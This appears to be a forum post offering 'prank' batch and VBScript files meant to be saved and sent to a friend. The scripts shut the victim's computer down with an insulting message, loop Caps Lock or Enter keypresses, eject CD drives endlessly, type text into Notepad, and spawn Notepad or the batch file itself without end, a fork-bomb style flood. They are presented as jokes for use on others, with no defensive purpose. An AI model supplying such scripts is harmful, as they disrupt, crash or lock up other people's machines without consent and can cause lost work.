and why not to share it with you...
very simple but funny
Convey your friend a lil' message and shut down his / her computer:
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@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
Save it as "Anything.BAT" in All Files and send it.
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Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
to make the scropt jit enter simultaneously replce the "{CAPSLOCK}" with "~"
Save it as "Anything.VBS" and send it.
Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
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Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save it as anything.vbs
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WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Save it as "Anything.VBS" and send it.
Open Notepad continually in your friend's computer:
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@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
open a notepad type
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start
start
start
start
anything.bat
enjoy it, i know it's very simple but funny lol[/code]